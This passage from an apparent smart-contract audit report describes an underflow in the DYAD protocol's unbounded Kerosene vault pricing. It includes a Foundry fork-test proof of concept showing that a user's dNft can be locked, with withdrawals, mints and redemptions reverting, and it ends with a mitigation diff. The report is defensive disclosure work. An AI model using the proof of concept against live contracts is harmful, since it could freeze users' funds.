Now lets back to unboundedKerosineVault::assetPrice() and explain why the underflow happens in this function and will make the impact possible, if we see KerosineVault::getUsdValue() of dNft token, we can indicate that it will call assetPrice whenever it called even if the dNft has zero kerosene deposited. This getUsdValue will be called by the vault manager in multiple function if and only if the user added the unboundedKerosineVault to his dNft and mint an amount of DYAD. However, the user can get out of this situation if he removes the vaults from his dNft token and this can only happen if he has no deposit to this vault, if he has even a small amount then he will never get out of this situation since the withdraw method will fail due to revert at some level when it try to call KerosineVault::getUsdValue().

Also, we can see that the deployment script already added Kerosene vault, where it indicate that it is ready to be used, while it is not ready and will be problematic for users.

script/deploy/Deploy.V2.s.sol:
@>95:     vaultLicenser.add(address(unboundedKerosineVault));
  96      // vaultLicenser.add(address(boundedKerosineVault));

Test Case (Foundry)

use it as part of test/fork/v2.t.sol file. Run using this command:

forge test --rpc-url {MAINNET_RPC_URL} --match-test testPoC_userCanEnterSituationThatDosHisDNftToken

  function testPoC_userCanEnterSituationThatDosHisDNftToken() public {
    // Make a new address for alice, and mint some ether.
    address alice = makeAddr('alice');
    vm.deal(alice, 2 ether);

    // Misc addresses (WETH and WETH Vault).
    address weth = address(contracts.ethVault.asset());
    address ethVault = address(contracts.ethVault);
    address keroseneVault = address(contracts.unboundedKerosineVault);


    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.startPrank(MAINNET_OWNER);
    // Add Vault Manager V2 to the main licenser used by DYAD token when minting, burning.
    licenser.add(address(contracts.vaultManager));
    // mint some Kerosene for the alice
    contracts.kerosene.transfer(alice, 10 ether);
    vm.stopPrank();

    // Alice start interaction
    vm.startPrank(alice);
    // Mint new dNft token for alice
    uint dNftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(alice);
    // Add WETH vault to the newly created dNft
    contracts.vaultManager.add(dNftId, ethVault);

    // Deposit Ether to WETH contract to mint weth tokens
    (bool success, ) = weth.call{value: 1 ether}(abi.encodeWithSignature("deposit()"));
    require(success);
    // Deposit Weth to vault through Vault Manager 
    contracts.ethVault.asset().approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(dNftId, ethVault, 1 ether);

    // Mint small amount of DYAD
    contracts.vaultManager.mintDyad(dNftId, 1, alice);

    // Add Kerosene vault, now the user partily enter the issue and can get out by removing keroseneVault
    contracts.vaultManager.add(dNftId, keroseneVault);

    // PoC: any call of collatRatio will revert due to **arithmetic underflow**
    vm.expectRevert();
    contracts.vaultManager.collatRatio(dNftId);

    // However if the user remove keroseneVault
    contracts.vaultManager.remove(dNftId, keroseneVault);
    // The Call of collatRatio will success
    contracts.vaultManager.collatRatio(dNftId);

    // But if alice deposit am amount to keroseneVault
    contracts.vaultManager.add(dNftId, keroseneVault);
    contracts.unboundedKerosineVault.asset().approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(dNftId, keroseneVault, 1 ether);

    // move one block so we can withdraw
    vm.roll(block.number + 1);

    // Withdraw reverts
    vm.expectRevert();
    contracts.vaultManager.withdraw(dNftId, keroseneVault, 1 ether, alice);
    vm.expectRevert();
    contracts.vaultManager.withdraw(dNftId, ethVault, .1 ether, alice);

    // Mint reverts
    vm.expectRevert();
    contracts.vaultManager.mintDyad(dNftId, 1, alice);

    // Redeem revers
    vm.expectRevert();
    contracts.vaultManager.redeemDyad(dNftId, ethVault, 1, alice);

    // Can not remove keroseneVault
    vm.expectRevert();
    contracts.vaultManager.remove(dNftId, keroseneVault);

    // However he can burn the minted DYAD to get out of this situation
    contracts.vaultManager.burnDyad(dNftId, 1);
    contracts.vaultManager.collatRatio(dNftId);
    vm.stopPrank();

    // Therefor, if the owner try to solve this issue by adding the old vaults which hold locked values
    vm.startPrank(MAINNET_OWNER);
    contracts.kerosineManager.add(MAINNET_WETH_VAULT);
    contracts.kerosineManager.add(MAINNET_WSTETH_VAULT);
    vm.stopPrank();

    // Then users can use them as kerosen vaults, and using them to mint extra DYAD amounts 
    vm.prank(alice);
    contracts.vaultManager.addKerosene(dNftId, MAINNET_WETH_VAULT);
  }

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

First, this issue has a part that is very connected to the issue refereed in the beginning of this report (Forehead section). But, it dose not fully mitigate this issue as we should not allow users to use unboundedKerosineVault unless it is ready and has the full set of vaults that used to calculate the TVL. Here is a git diff that compounding the mitigation of the conflicted usage of Kerosene Manger and this issue:

diff --git a/script/deploy/Deploy.V2.s.sol b/script/deploy/Deploy.V2.s.sol
index 629fddf..0d35462 100644
--- a/script/deploy/Deploy.V2.s.sol
+++ b/script/deploy/Deploy.V2.s.sol
@@ -60,11 +60,14 @@ contract DeployV2 is Script, Parameters {
     );

     KerosineManager kerosineManager = new KerosineManager();
+    KerosineManager kerosineLicenser = new KerosineManager();

     kerosineManager.add(address(ethVault));
     kerosineManager.add(address(wstEth));
+    kerosineManager.add(address(MAINNET_WETH_VAULT));
+    kerosineManager.add(address(MAINNET_WSTETH_VAULT));

-    vaultManager.setKeroseneManager(kerosineManager);
+    vaultManager.setKeroseneManager(kerosineLicenser);

     kerosineManager.transferOwnership(MAINNET_OWNER);

Assessed type

Under/Overflow